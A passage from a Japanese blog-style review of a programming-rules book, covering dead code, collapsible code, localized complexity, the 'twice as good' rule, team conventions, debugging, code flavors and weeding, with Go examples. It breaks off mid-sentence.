善二小学館Amazonデッドコードの定義と危険性著者は、デッドコードを「かつては使用されていたが、現在は呼び出されていないコード」と定義しています。これは一見、単なる無駄なコードに過ぎないように思えるかもしれません。しかし、著者はデッドコードが単なる無駄以上の問題を引き起こす可能性があることを強調しています。デッドコードの危険性は、それが「動作しているかどうか分からない」という点にあります。使用されていないコードは、周囲のコードの変更に応じて更新されることがありません。そのため、いつの間にか古くなり、バグを含む可能性が高くなります。さらに悪いことに、そのバグは誰にも気付かれません。なぜなら、そのコードは実行されていないからです。この状況を、著者は「シュレディンガーの猫」になぞらえています。デッドコードは、箱の中の猫のように、観察されるまでその状態(正常か異常か)が分かりません。そして、いざそのコードが再び使用されたとき、予期せぬバグが顕在化する可能性があるのです。コードの進化と予期せぬ問題著者は、コードベースの進化過程を川の流れに例えています。川の流れが変わるように、コードの使用パターンも時間とともに変化します。その過程で、かつては重要だった機能が使われなくなることがあります。これがデッドコードの発生源となります。著者は、この進化の過程を4つのステップに分けて説明しています。各ステップで、コードベースがどのように変化し、それに伴ってどのような問題が潜在的に発生するかを詳細に解説しています。特に印象的だったのは、一見無関係に見える変更が、思わぬところでバグを引き起こす可能性があるという指摘です。例えば、あるメソッドが使われなくなった後、そのメソッドに関連する新機能が追加されたとします。このとき、そのメソッドは新機能に対応するように更新されないかもしれません。そして後日、誰かがそのメソッドを再び使用しようとしたとき、予期せぬバグが発生する可能性があるのです。この例は、デッドコードが単なる無駄以上の問題を引き起こす可能性を明確に示しています。デッドコードは、時間の経過とともに「時限爆弾」となる可能性があるのです。デッドコードの検出と対策著者は、デッドコードの問題に対する一般的な対策として、ユニットテストの重要性を認めつつも、その限界についても言及しています。確かに、すべてのコードにユニットテストを書くことで、使用されていないコードも定期的にテストされることになります。しかし、著者はこのアプローチにも問題があると指摘しています。テストの維持コスト:使用されていないコードのテストを維持することは、それ自体が無駄なリソースの消費となる可能性があります。テストの不完全性:ユニットテストは、実際の使用環境でのすべての状況を網羅することは困難です。特に、コードベース全体の変更に伴う影響を完全にテストすることは難しいでしょう。誤った安心感:テストが通っているからといって、そのコードが実際の使用環境で正しく動作する保証にはなりません。これらの理由から、著者はデッドコードに対する最も効果的な対策は、それを積極的に削除することだと主張しています。デッドコード削除の実践著者の主張は、一見過激に感じるかもしれません。使えそうなコードを削除するのは、もったいないと感じる開発者も多いでしょう。しかし、著者はデッドコードを削除することのメリットを以下のように説明しています。コードベースの簡素化:使用されていないコードを削除することで、コードベース全体が小さくなり、理解しやすくなります。保守性の向上:デッドコードを削除することで、将来的なバグの可能性を減らすことができます。パフォーマンスの向上:使用されていないコードを削除することで、コンパイル時間やビルド時間を短縮できる可能性があります。誤用の防止:存在しないコードは誤って使用されることがありません。著者は、デッドコードを発見したら、それを喜びとともに削除するべきだと主張しています。これは、単にコードを削除するということではなく、プロジェクトの健全性を向上させる積極的な行為なのです。まとめ著者の「Code That Isn't Running Doesn't Work」という主張は、一見逆説的ですが、長年のソフトウェア開発経験に基づく深い洞察です。使用されていないコードは、単なる無駄以上に危険な存在になり得るのです。この章から学べる重要な教訓は以下のとおりです。デッドコードは潜在的なバグの温床である。コードベースの進化は不可避であり、それに伴ってデッドコードが発生する。ユニットテストはデッドコードの問題に対する完全な解決策ではない。デッドコードを発見したら、躊躇せずに削除すべきである。コードの削除は、プロジェクトの健全性を向上させる積極的な行為である。これらの原則は、特に大規模で長期的なプロジェクトにおいて重要です。コードベースが大きくなるほど、デッドコードの影響は深刻になります。私自身、この章を読んで、これまでの開発経験を振り返る良い機会となりました。「もしかしたら将来使うかもしれない」という理由で残していたコードが、実際には厄介な問題の原因になっていた経験が何度かあります。最後に、著者の「デッドコードの削除は喜びとともに行うべき」という主張は、印象的でした。コードを削除することに抵抗を感じる開発者は多いですが、それをプロジェクトを健全にする積極的な行為と捉え直すことで、より良いソフトウェア開発につながるのではないでしょうか。今後の開発では、「本当にこのコードは必要か?」「このコードは最後にいつ使われた?」という問いを常に意識しながら、より健全で保守性の高いコードベースの維持に努めていきたいと思います。デッドコードの削除は、単にコード量を減らすことではなく、プロジェクト全体の品質と効率を向上させる重要な取り組みなのです。以下に、重要な部分を太字にした文章を示します。Rule 9. Write Collapsible Code第9章「Write Collapsible Code」は、コードの可読性と理解のしやすさに焦点を当てた重要な原則を提示しています。著者は、人間の認知能力、特に短期記憶の限界を考慮に入れたコード設計の重要性を強調しています。この章を通じて、ソフトウェア開発者が直面する「コードの複雑さをいかに管理するか」という永遠の課題に対する実践的なアプローチが示されています。プログラマー脳 ~優れたプログラマーになるための認知科学に基づくアプローチ作者:フェリエンヌ・ヘルマンス,水野貴明,水野いずみ秀和システムAmazon短期記憶の限界とコードの理解著者は、人間の短期記憶が平均して7±2個の項目しか保持できないという心理学的な知見を基に議論を展開しています。これは、コードを読む際にも同様に適用され、一度に理解できる情報量に限界があることを意味します。この観点から、著者は「コードの崩壊性(collapsibility)」という概念を提唱しています。これは、コードの各部分が容易に抽象化され、単一の概念として理解できるようになっている状態を指します。抽象化の重要性と落とし穴著者は、適切な抽象化が「崩壊性のあるコード」を書く上で重要だと主張しています。しかし、過度な抽象化は逆効果になる可能性があることも指摘しています。チームの共通知識の活用著者は、チーム内で広く理解されている概念や慣用句を活用することの重要性を強調しています。これらは既にチームメンバーの長期記憶に存在するため、新たな短期記憶の負担を生みません。新しい抽象化の導入著者は、新しい抽象化を導入する際の慎重さも強調しています。新しい抽象化は、それが広く使用され、チームの共通知識となるまでは、かえってコードの理解を難しくする可能性があります。まとめ著者の「Write Collapsible Code」という原則は、コードの可読性と保守性を高める上で重要です。この原則は、人間の認知能力の限界を考慮に入れたソフトウェア設計の重要性を強調しています。コードの「崩壊性」を意識することで、開発者は自然と適切な抽象化レベルを選択し、チームの共通知識を活用したコードを書くようになります。これは、長期的にはコードベース全体の品質向上につながります。ただし、「崩壊性」の追求が過度の単純化や不適切な抽象化につながらないよう注意が必要です。適切なバランスを見出すには、継続的な練習と経験が必要でしょう。最後に、この原則は特定の言語や環境に限定されるものではありません。様々なプログラミングパラダイムや開発環境において、「崩壊性のあるコード」を書くという考え方は普遍的に適用できます。Rule 10. Localize Complexity第10章「Localize Complexity」は、ソフトウェア開発における複雑性の管理という重要なトピックを深く掘り下げています。著者は、プロジェクトの規模が大きくなるにつれて複雑性が増大し、それがコードの保守性や拡張性に大きな影響を与えることを指摘しています。この章を通じて、複雑性を完全に排除することは不可能だが、それを効果的に局所化することで管理可能にする方法が示されています。反脆弱性[上]――不確実な世界を生き延びる唯一の考え方作者:ナシーム・ニコラス・タレブダイヤモンド社Amazon複雑性の本質と影響著者は冒頭で「Complexity is the enemy of scale」という強烈な一文を投げかけています。この言葉は、私の15年のエンジニア経験を通じて痛感してきたことでもあります。小規模なプロジェクトでは気にならなかった複雑性が、プロジェクトの成長とともに指数関数的に増大し、開発速度を著しく低下させる様子を何度も目の当たりにしてきました。著者は、複雑性が増大すると、コードの全体像を把握することが困難になり、バグの修正や新機能の追加が予期せぬ副作用を引き起こすリスクが高まると指摘しています。これは、特に長期的なプロジェクトや大規模なシステムにおいて顕著な問題となります。複雑性の局所化著者は、複雑性を完全に排除することは不可能だが、それを効果的に「局所化」することで管理可能になると主張しています。これは重要な洞察です。例えば、著者はsin関数やcos関数の実装を例に挙げています。これらの関数の内部実装は複雑ですが、外部から見たインターフェースはシンプルです。この「複雑性の隠蔽」こそが、優れた設計の本質だと言えるでしょう。この原則は、モダンなソフトウェア開発手法とも密接に関連しています。例えば、マイクロサービスアーキテクチャは、複雑なシステムを比較的独立した小さなサービスに分割することで、全体の複雑性を管理可能にする手法です。各サービスの内部は複雑であっても、サービス間のインターフェースをシンプルに保つことで、システム全体の複雑性を抑制することができます。複雑性の増大を防ぐ実践的アプローチ著者は、複雑性の増大を防ぐための具体的なアプローチをいくつか提示しています。特に印象的だったのは、「同じロジックを複数の場所に実装しない」という原則です。著者は、このアプローチの問題点を明確に指摘しています。新しい条件が追加されるたびに、全ての実装箇所を更新する必要が生じ、コードの保守性が急速に低下します。これは、私が「コピペプログラミング」と呼んでいる悪しき習慣そのものです。代わりに著者が提案しているのは、状態の変更を検知して一箇所でアイコンの表示を更新する方法です。この方法では、新しい条件が追加された場合でも、一箇所の修正で済むため、コードの保守性が大幅に向上します。複雑性の局所化と抽象化の関係著者は、複雑性の局所化と抽象化の関係についても言及しています。適切な抽象化は複雑性を隠蔽し、コードの理解を容易にする強力なツールです。しかし、過度な抽象化は逆効果になる可能性もあります。著者の主張する「複雑性の局所化」は、この問題に対する一つの解決策を提供していると言えるでしょう。複雑性を完全に排除するのではなく、適切に管理された形で局所化することで、システム全体の理解可能性と拡張性を維持することができます。まとめ著者の「Localize Complexity」という原則は、ソフトウェア開発において重要な指針を提供しています。複雑性は避けられないものですが、それを適切に管理することで、大規模で長期的なプロジェクトでも高い生産性と品質を維持することができます。この原則は、特に近年のマイクロサービスアーキテクチャやサーバーレスコンピューティングのトレンドとも密接に関連しています。これらの技術は、大規模なシステムを小さな、管理可能な部分に分割することで、複雑性を局所化し、システム全体の柔軟性と拡張性を高めることを目指しています。ただし、「複雑性の局所化」を追求するあまり、過度に細分化されたコンポーネントを作ってしまい、逆に全体の見通しが悪くなるというリスクもあります。適切なバランスを見出すには、継続的な実践と振り返りが必要でしょう。最後に、この原則は特定の言語や環境に限定されるものではありません。様々なプログラミングパラダイムや開発環境において、「複雑性の局所化」という考え方は普遍的に適用できます。Rule 11. Is It Twice as Good?第11章「Is It Twice as Good?」は、ソフトウェア開発における重要な判断基準を提示しています。著者は、システムの大規模な変更や再設計を行う際の指針として、「新しいシステムは現行の2倍良くなるか?」という問いを投げかけています。この章を通じて、著者はソフトウェアの進化と再設計のバランス、そして変更の決定プロセスについて深い洞察を提供しています。リファクタリング 既存のコードを安全に改善する(第2版)作者:MartinFowlerオーム社Amazonアーキテクチャの限界と変更の必要性著者はまず、全てのプロジェクトが最終的にはその設計の限界に直面することを指摘しています。これは、新しい機能の追加、データ構造の変化、パフォーマンスの問題など、様々な形で現れます。この指摘は、私の経験とも強く共鳴します。特に長期的なプロジェクトでは、当初の設計では想定していなかった要求が次々と発生し、それに対応するためにシステムを変更せざるを得なくなる状況を何度も経験してきました。著者は、このような状況に対して3つの選択肢を提示しています。問題を無視する小規模な調整で対応する大規模なリファクタリングを行うこれらの選択肢は、実際のプロジェクトでも常に検討される事項です。しかし、著者が強調しているのは、これらの選択をどのように行うかという点です。ソフトウェアアーキテクチャメトリクス ―アーキテクチャ品質を改善する10のアドバイス作者:Christian Ciceri,Dave Farley,Neal Ford,Andrew Harmel-Law,Michael Keeling,Carola Lilienthal,João Rosa,Alexander von Zitzewitz,Rene Weiss,Eoin Woodsオーム社Amazon段階的進化vs継続的再発明著者は、プログラマーを2つのタイプに分類しています。Type One:常に既存のソリューションを基に考え、問題を段階的に解決しようとするタイプType Two:問題とソリューションを一緒に考え、システム全体の問題を一度に解決しようとするタイプこの分類は興味深く、自分自身や同僚のアプローチを振り返る良い機会となりました。著者は、どちらのタイプも極端に偏ると問題が生じると警告しています。Type Oneに偏ると、徐々に技術的負債が蓄積され、最終的にはシステムが硬直化してしまいます。一方、Type Twoに偏ると、常に一から作り直すことになり、過去の経験や知識が活かされず、進歩が遅れてしまいます。「2倍良くなる」ルール著者が提案する「2倍良くなる」ルールは、大規模な変更を行うかどうかを判断する際の簡潔で効果的な基準です。新しいシステムが現行の2倍良くなると確信できる場合にのみ、大規模な変更を行うべきだというこの考え方は、直感的でありながら強力です。しかし、著者も指摘しているように、「2倍良くなる」かどうかを定量的に評価することは常に可能というわけではありません。特に、開発者の生産性や、ユーザーエクスペリエンスの向上など、定性的な改善を評価する場合は難しいケースが多々あります。このような場合、著者は可能な限り定量化を試みることを推奨しています。小さな問題の解決機会としてのリワーク著者は、大規模な変更を行う際には、同時に小さな問題も解決するべきだと提案しています。これは実践的なアドバイスで、私も強く共感します。ただし、ここで注意すべきは、これらの小さな改善だけを理由に大規模な変更を行うべきではないという点です。著者の「2倍良くなる」ルールは、この判断を助ける重要な指針となります。まとめこの章の教訓は、ソフトウェア開発の現場で直接適用可能な、実践的なものです。特に、大規模なリファクタリングや再設計を検討する際の判断基準として、「2倍良くなる」ルールは有用です。しかし、このルールを機械的に適用するのではなく、プロジェクトの状況や組織の文化に応じて柔軟に解釈することが重要です。また、著者が指摘するType OneとType Twoの分類は、チーム内のバランスを考える上で有用です。多様な視点を持つメンバーでチームを構成し、お互いの強みを活かしながら決定を下していくことが、健全なソフトウェア開発につながります。最後に、この章の教訓は、単にコードレベルの判断だけでなく、プロジェクト全体の方向性を決定する際にも適用できます。新しい技術の導入、アーキテクチャの変更、開発プロセスの改善など、大きな決断を下す際には常に「これは現状の2倍良くなるか?」という問いを念頭に置くべきでしょう。承知しました。Golangのサンプルコードを提供し、結論を分散させた形で書き直します。Rule 12. Big Teams Need Strong Conventions第12章「Big Teams Need Strong Conventions」は、大規模なソフトウェア開発プロジェクトにおけるコーディング規約の重要性を深く掘り下げています。この章を通じて、著者は大規模チームでの開発における課題と、それを克服するための戦略を明確に示しています。特に、一貫したコーディングスタイルとプラクティスがチームの生産性と効率性にどのように影響するかを考察しています。シカゴ学派の社会学 (世界思想ゼミナール)世界思想社教学社Amazonコーディング規約の必要性著者は、プログラミングの複雑さが個人やチームの生産性を制限する主要な要因であると指摘しています。複雑さを管理し、シンプルさを維持することが、成功の鍵だと強調しています。この原則は、プロジェクトの規模や性質に関わらず適用されますが、大規模なチームでの開発においてはより重要性を増します。大規模なチームでは、個々の開発者が「自分のコード」と「他人のコード」の境界を引こうとする傾向があります。しかし、著者はこのアプローチが長期的には機能しないと警告しています。プロジェクトが進むにつれて、コードの境界は曖昧になり、チームメンバーは常に他人のコードを読み、理解し、修正する必要が出てきます。この状況に対処するため、著者は強力な共通のコーディング規約の必要性を主張しています。共通の規約は、コードの一貫性を保ち、チームメンバー全員がコードを容易に理解し、修正できるようにするための重要なツールです。フォーマットの一貫性著者は、コードのフォーマットの一貫性が重要であることを強調しています。異なるコーディングスタイルは、コードの理解を難しくし、生産性を低下させる可能性があります。Golangを使用してこの点を説明しましょう。// 一貫性のないフォーマットtype tree struct {left, right *tree; value int}func sum(t *tree) int {if t == nil {return 0}return t.value + sum(t.left) + sum(t.right)}// 一貫性のあるフォーマットtype Tree struct { Left *Tree Right *Tree Value int}func Sum(t *Tree) int { if t == nil { return 0 } return t.Value + Sum(t.Left) + Sum(t.Right)}これらのコードは機能的には同じですが、フォーマットが大きく異なります。一方のスタイルに慣れた開発者が他方のスタイルのコードを読む際、理解に時間がかかり、エラーを見逃す可能性が高くなります。この問題に対処するため、著者はチーム全体で一貫したフォーマットを採用することを強く推奨しています。Golangの場合、gofmtツールを使用することで、自動的に一貫したフォーマットを適用できます。言語機能の使用規約著者は、プログラミング言語の機能の使用方法に関する規約の重要性も強調しています。言語機能の使用方法が開発者によって異なると、コードの理解と保守が困難になります。例えば、Golangのゴルーチンとチャネルの使用を考えてみます。func SumTreeConcurrently(t *Tree) int { if t == nil { return 0 } leftChan := make(chan int) rightChan := make(chan int) go func() { leftChan <- SumTreeConcurrently(t.Left) }() go func() { rightChan <- SumTreeConcurrently(t.Right) }() return t.Value + <-leftChan + <-rightChan}このコードは並行処理を利用していますが、小さな木構造に対しては過剰な最適化かもしれません。著者は、チーム内で言語機能の使用に関する合意を形成し、一貫して適用することの重要性を強調しています。問題解決の規約著者は、問題解決アプローチにも一貫性が必要だと指摘しています。同じ問題に対して異なる解決方法を用いると、コードの重複や、予期せぬ相互作用の原因となる可能性があります。著者は、一つのプロジェクト内で複数のエラーハンドリング方法を混在させることの危険性を警告しています。チーム全体で一貫したアプローチを選択し、それを徹底することが重要です。チームの思考の統一著者は、効果的なチームの究極の目標を「一つの問題に対して全員が同じコードを書く」状態だと定義しています。これは単に同じフォーマットやスタイルを使用するということではなく、問題解決のアプローチ、アルゴリズムの選択、変数の命名など、あらゆる面で一貫性を持つことを意味します。この目標を達成するために、著者は自社での実践を紹介しています。彼らは詳細なコーディング基準を設定し、コードレビューを通じてそれを徹底しています。さらに、プロジェクトの開始時にチーム全体でコーディング基準の見直しと改訂を行い、全員で合意した新しい基準を速やかに既存のコードベース全体に適用しています。まとめ著者の「Big Teams Need Strong Conventions」という主張は、大規模なソフトウェア開発プロジェクトの成功に不可欠な要素を指摘しています。一貫したコーディング規約は、単なる美的な問題ではなく、チームの生産性と効率性に直接影響を与える重要な要素です。この章から学べる重要な教訓は以下の通りです。大規模チームでは、個人の好みよりもチーム全体の一貫性を優先すべきである。コーディング規約は、フォーマット、言語機能の使用、問題解決アプローチなど、多岐にわたる要素をカバーすべきである。規約は固定的なものではなく、プロジェクトの開始時や定期的に見直し、改訂する機会を設けるべきである。規約の適用は、新規コードだけでなく既存のコードベース全体に及ぶべきである。これらの原則は、特に大規模で長期的なプロジェクトにおいて重要です。一貫したコーディング規約は、新しいチームメンバーのオンボーディングを容易にし、コードの可読性と保守性を高め、結果としてプロジェクト全体の成功につながります。私自身、この章を読んで、これまでの開発経験を振り返る良い機会となりました。特に、異なるチームメンバーが書いたコードを統合する際に直面した困難や、コーディング規約の不在がもたらした混乱を思い出しました。一方で、著者の主張に全面的に同意しつつも、現実のプロジェクトでの適用には課題もあると感じています。例えば、レガシーコードベースや、複数の言語やフレームワークを使用するプロジェクトでは、完全な一貫性を達成することは難しい場合があります。また、強力な規約が個々の開発者の創造性や革新的なアプローチを抑制する可能性についても考慮する必要があります。規約の柔軟な適用と、新しいアイデアを取り入れる余地のバランスをどう取るかが、実際の開発現場での課題となるでしょう。最後に、この章の教訓は、コーディング規約の設定と適用にとどまらず、チーム全体の文化とコミュニケーションのあり方にも及びます。規約の重要性を理解し、それを日々の開発プラクティスに組み込むためには、チーム全体の協力とコミットメントが不可欠です。大規模チームでの開発において、強力な規約は単なる制約ではなく、チームの創造性と生産性を最大化するための重要なツールです。この原則を深く理解し、適切に適用することで、より効率的で持続可能なソフトウェア開発プロセスを実現できると確信しています。Rule 13. Find the Pebble That Started the Avalanche第13章「Find the Pebble That Started the Avalanche」は、デバッグの本質と効果的なデバッグ手法について深く掘り下げています。著者は、プログラミングの大半がデバッグであるという現実を踏まえ、デバッグを効率化するためのアプローチを提示しています。この章を通じて、バグの原因を特定し、効果的に修正するための戦略が示されており、様々なプログラミング言語や開発環境に適用可能な普遍的な原則が提唱されています。禅とオートバイ修理技術 上 (ハヤカワ文庫NF)作者:ロバート M パーシグ早川書房Amazonバグのライフサイクル著者は、バグのライフサイクルを4つの段階に分けて説明しています。検出、診断、修正、テストです。ここで特に重要なのは診断の段階で、著者はこれを「時間旅行」になぞらえています。つまり、問題が発生した瞬間まで遡り、そこから一歩ずつ追跡していく過程です。この考え方は、私の経験とも強く共鳴します。例えば、以前担当していた決済システムで、特定の条件下でのみ発生する不具合があり、その原因を特定するのに苦労した経験があります。結局、トランザクションログを詳細に分析し、問題の発生時点まで遡ることで、原因を特定できました。著者が提唱する「時間旅行」的アプローチは、特に複雑なシステムでのデバッグに有効です。例えば、Golangを使用したマイクロサービスアーキテクチャにおいて、以下のようなコードで問題が発生した場合を考えてみます。func processPayment(ctx context.Context, payment *Payment) error { if err := validatePayment(payment); err != nil { return fmt.Errorf(\"invalid payment: %w\", err) } if err := deductBalance(ctx, payment.UserID, payment.Amount); err != nil { return fmt.Errorf(\"failed to deduct balance: %w\", err) } if err := createTransaction(ctx, payment); err != nil { // ここでロールバックすべきだが、されていない return fmt.Errorf(\"failed to create transaction: %w\", err) } return nil}このコードでは、createTransactionが失敗した場合にロールバックが行われていません。このようなバグを発見した場合、著者の提唱する方法に従えば、まず問題の症状(この場合、不整合な状態のデータ)から始めて、一歩ずつ遡っていくことになります。原因と症状の関係著者は、バグの原因と症状の関係性について深く掘り下げています。多くの場合、症状が現れた時点ですでに原因からは遠く離れていることを指摘し、この「距離」がデバッグを困難にしていると説明しています。この洞察は重要で、私もしばしば経験します。例えば、メモリリークのようなバグは、症状(アプリケーションの異常な遅延や停止)が現れた時点で、既に原因(特定のオブジェクトが適切に解放されていないこと)から何時間も経過していることがあります。著者は、この問題に対処するために、できるだけ早く問題を検出することの重要性を強調しています。これは、例えばGolangのコンテキストを使用して、長時間実行される処理を監視し、早期に異常を検出するようなアプローチにつながります。func longRunningProcess(ctx context.Context) error { for { select { case <-ctx.Done(): return ctx.Err() default: // 処理の実行 if err := doSomething(); err != nil { return fmt.Errorf(\"process failed: %w\", err) } } }}このように、コンテキストを使用することで、処理の異常な長期化や、親プロセスからのキャンセル指示を即座に検出できます。ステートの最小化著者は、デバッグを容易にするための重要な戦略として、ステート(状態)の最小化を強調しています。純粋関数(pure function)の使用を推奨し、これがデバッグを著しく容易にすると主張しています。この点については、強く同意します。例えば、以前担当していた在庫管理システムでは、ステートフルなコードが多く、デバッグに多大な時間を要していました。そこで、可能な限り純粋関数を使用するようにリファクタリングしたところ、バグの特定と修正が格段に容易になりました。Golangでの具体例を示すと、以下のようになります。// ステートフルな実装type Inventory struct { items map[string]int}func (i *Inventory) AddItem(itemID string, quantity int) { i.items[itemID] += quantity}// 純粋関数を使用した実装func AddItem(items map[string]int, itemID string, quantity int) map[string]int { newItems := make(map[string]int) for k, v := range items { newItems[k] = v } newItems[itemID] += quantity return newItems}純粋関数を使用した実装では、同じ入力に対して常に同じ出力が得られるため、デバッグが容易になります。避けられないステートへの対処著者は、完全にステートレスなコードを書くことは現実的ではないことを認識しつつ、避けられないステートに対処する方法についても言及しています。特に印象的だったのは、「実行可能なログファイル」という概念です。この考え方は、私が以前取り組んでいた分散システムのデバッグに役立ちました。システムの状態を定期的にスナップショットとして保存し、問題が発生した時点のスナップショットを使ってシステムを再現することで、複雑なバグの原因を特定することができました。Golangでこのアプローチを実装する例を示します。type SystemState struct { // システムの状態を表す構造体}func CaptureState() SystemState { // 現在のシステム状態をキャプチャ}func ReplayState(state SystemState) { // キャプチャした状態を再現}func ProcessRequest(req Request) Response { initialState := CaptureState() resp := processRequestInternal(req) if resp.Error != nil { log.Printf(\"Error occurred. Initial state: %+v\", initialState) // エラー時に初期状態を記録 } return resp}このようなアプローチを採用することで、複雑なステートを持つシステムでも、バグの再現と診断が容易になります。まとめ著者の「雪崩を引き起こした小石を見つけよ」という原則は、効果的なデバッグの本質を捉えています。症状の単なる修正ではなく、根本原因の特定と修正の重要性を強調しているのが印象的です。この章から学んだ最も重要な教訓は、デバッグを単なる「バグ修正」としてではなく、システムの振る舞いを深く理解するプロセスとして捉えることの重要性です。これは、短期的には時間がかかるように見えても、長期的にはコードの品質と開発者の理解度を大きく向上させます。私自身、この原則を実践することで、単にバグを修正するだけでなく、システム全体の設計や実装の改善にもつながった経験があります。例えば、あるマイクロサービスでのバグ修正をきっかけに、サービス間の通信プロトコルを見直し、全体的なシステムの堅牢性を向上させることができました。著者の提案する「時間旅行」的デバッグアプローチは、特に分散システムやマイクロサービスアーキテクチャのような複雑な環境で有効です。これらのシステムでは、問題の原因と症状が時間的・空間的に大きく離れていることが多いため、著者の提案するアプローチは貴重な指針となります。最後に、この章の教訓は、単にデバッグ技術の向上にとどまらず、より良いソフトウェア設計につながるものだと感じました。ステートの最小化や純粋関数の使用といった原則は、バグの発生自体を減らし、システム全体の品質を向上させる効果があります。今後の開発プロジェクトでは、この章で学んだ洞察を活かし、より効果的なデバッグ戦略を立てていきたいと思います。特に、「実行可能なログファイル」の概念を取り入れ、複雑なシステムでのデバッグを効率化することを検討していきます。同時に、ステートの最小化や純粋関数の使用を意識した設計を心がけ、バグの発生自体を減らす努力も続けていきたいと考えています。Rule 14. Code Comes in Four Flavors第14章「Code Comes in Four Flavors」は、プログラミングの問題と解決策を4つのカテゴリーに分類し、それぞれの特徴と重要性を深く掘り下げています。著者は、Easy問題とHard問題、そしてそれらに対するSimple解決策とComplicated解決策という枠組みを提示し、これらの組み合わせがプログラマーの技量をどのように反映するかを論じています。この章を通じて、コードの複雑さと単純さのバランス、そしてそれがソフトウェア開発の質と効率にどのように影響するかが明確に示されています。問いのデザイン 創造的対話のファシリテーション作者:安斎勇樹,塩瀬隆之学芸出版社Amazon4つのコードの味著者は、プログラミングの問題を「Easy」と「Hard」の2種類に大別し、さらにそれぞれの解決策を「Simple」と「Complicated」に分類しています。この枠組みは一見単純ですが、実際のプログラミング現場での課題をよく反映していると感じました。特に印象的だったのは、Easy問題に対するComplicated解決策の危険性への指摘です。私自身、過去のプロジェクトで、単純な問題に対して過度に複雑な解決策を実装してしまい、後々のメンテナンスで苦労した経験があります。例えば、単純なデータ処理タスクに対して、汎用性を追求するあまり複雑なクラス階層を設計してしまい、結果的にコードの理解と修正が困難になった事例が思い出されます。著者の主張する「Simple解決策の重要性」は、現代のソフトウェア開発においても重要です。特に、マイクロサービスアーキテクチャやサーバーレスコンピューティングが主流となっている現在、個々のコンポーネントの単純さと明確さがシステム全体の健全性に大きく影響します。複雑さのコスト著者は、不必要な複雑さがもたらす実際のコストについて詳しく論じています。複雑なコードは書くのに時間がかかり、デバッグはさらに困難になるという指摘は、私の経験とも強く共鳴します。例えば、以前参画していた大規模プロジェクトでは、初期段階で採用された過度に抽象化された設計が、プロジェクトの後半で大きな足かせとなりました。新機能の追加や既存機能の修正に予想以上の時間がかかり、結果的にプロジェクト全体のスケジュールに影響を与えてしまいました。この経験から、私は「単純さ」を設計の重要な指標の一つとして意識するようになりました。例えば、Golangを使用する際は、言語自体が持つ単純さと明確さを活かし、以下のような原則を心がけています。// 複雑な例type DataProcessor struct { data []int // 多数のフィールドと複雑なロジック}func (dp *DataProcessor) Process() int { // 複雑で理解しづらい処理}// シンプルな例func ProcessData(data []int) int { sum := 0 for _, v := range data { sum += v } return sum}シンプルな関数は理解しやすく、テストも容易です。これは、著者が主張する「Simple解決策」の具体例と言えるでしょう。プログラマーの3つのタイプ著者は、問題の難易度と解決策の複雑さの組み合わせに基づいて、プログラマーを3つのタイプに分類しています(Mediocre,Good,Great)。この分類は興味深く、自身のスキルレベルを客観的に評価する良い指標になると感じました。特に、「Great」プログラマーがHard問題に対してもSimple解決策を見出せるという指摘は、プロフェッショナルとしての目標設定に大きな示唆を与えてくれます。これは、単に技術的なスキルだけでなく、問題の本質を見抜く洞察力や、複雑な要求をシンプルな形に落とし込む能力の重要性を示唆しています。実際の開発現場では、この「Great」プログラマーの特性が如実に現れる場面があります。例えば、システムの設計段階で、複雑な要件を整理し、シンプルかつ拡張性のある設計を提案できる能力は価値があります。私自身、この「Great」プログラマーを目指して日々精進していますが、Hard問題に対するSimple解決策の発見は常に挑戦的です。例えば、分散システムにおけるデータ一貫性の問題など、本質的に複雑な課題に対して、いかにシンプルで堅牢な解決策を見出すかは、常に頭を悩ませる問題です。Hard問題のSimple解決策著者は、Hard問題に対するSimple解決策の例として、文字列の順列検索問題を取り上げています。この例は、問題の捉え方を変えることで、複雑な問題に対してもシンプルな解決策を見出せることを示しており、示唆に富んでいます。著者が示した最終的な解決策は、問題の本質を捉え、不要な複雑さを排除した素晴らしい例だと感じました。このアプローチは、実際の開発現場でも有用です。まとめこの章から得られる最も重要な教訓は、コードの単純さと明確さが、プログラマーの技量を示すということです。Easy問題に対するSimple解決策を見出せることは良いプログラマーの証ですが、Hard問題に対してもSimple解決策を提案できることが、真に優れたプログラマーの特徴だという著者の主張には強く共感します。この原則は、日々の開発作業からアーキテクチャ設計まで、あらゆる場面で意識すべきものだと感じています。特に、チーム開発においては、個々のメンバーがこの原則を理解し実践することで、プロジェクト全体の品質と効率が大きく向上すると確信しています。今後の自身の開発アプローチとしては、以下の点を特に意識していきたいと思います。問題の本質を見極め、不要な複雑さを排除する努力を常に行う。Easy問題に対しては、過度に複雑な解決策を提案しないよう注意する。Hard問題に直面した際も、まずはSimple解決策の可能性を探る。コードレビューの際は、解決策の複雑さと問題の難易度のバランスを重視する。最後に、この章の教訓は単にコーディングスキルの向上だけでなく、問題解決能力全般の向上にもつながると感じました。ソフトウェア開発の世界では新しい技術や手法が次々と登場しますが、「シンプルさ」という原則は普遍的な価値を持ち続けるでしょう。この原則を常に意識し、実践していくことが、ソフトウェアエンジニアとしての成長につながると確信しています。Rule 15. Pull the Weeds第15章「Pull the Weeds」は、コードベースの健全性維持に関する重要な原則を提示しています。著者は、小さな問題や不整合を「雑草」に例え、それらを放置せずに定期的に除去することの重要性を強調しています。この章を通じて、コードの品質維持がソフトウェア開発プロセス全体にどのように影響するか、そして日々の開発作業の中でどのようにこの原則を実践すべきかが明確に示されています。Tidy First?: A Personal Exercise in Empirical Software Design (English Edition)作者:Beck, KentO'Reilly MediaAmazon雑草とは何か著者は、Animal Crossingというゲームの雑草除去の例を用いて、コードの「雑草」の概念を説明しています。この比喩は的確で、私自身、長年のソフトウェア開発経験を通じて、まさにこのような「雑草」の蓄積がプロジェクトの進行を妨げる様子を何度も目の当たりにしてきました。著者が定義する「雑草」は、修正が容易で、放置しても大きな問題にはならないが、蓄積すると全体の品質を低下させる小さな問題です。具体的には、コメントの誤字脱字、命名規則の不一致、フォーマットの乱れなどが挙げられています。この定義は重要で、多くの開発者が見落としがちな点だと感じます。例えば、以前私が参画していた大規模プロジェクトでは、コーディング規約の軽微な違反を「些細な問題」として放置していました。結果として、コードの一貫性が失われ、新規メンバーの学習コストが増大し、最終的にはプロジェクト全体の生産性低下につながりました。雑草の除去著者は、雑草の除去プロセスを段階的に示しています。最初に、明らかな誤りや不整合を修正し、次に命名規則やフォーマットの統一を行います。この段階的アプローチは実践的で、日々の開発作業に組み込みやすいと感じました。例えば、著者が示したC++のコード例では、関数名の変更(エクスポートするための大文字化)、変数名の明確化、コメントの追加と修正、フォーマットの統一などが行われています。これらの変更は、コードの機能自体には影響を与えませんが、可読性と保守性を大きく向上させます。雑草の特定著者は、ある問題が「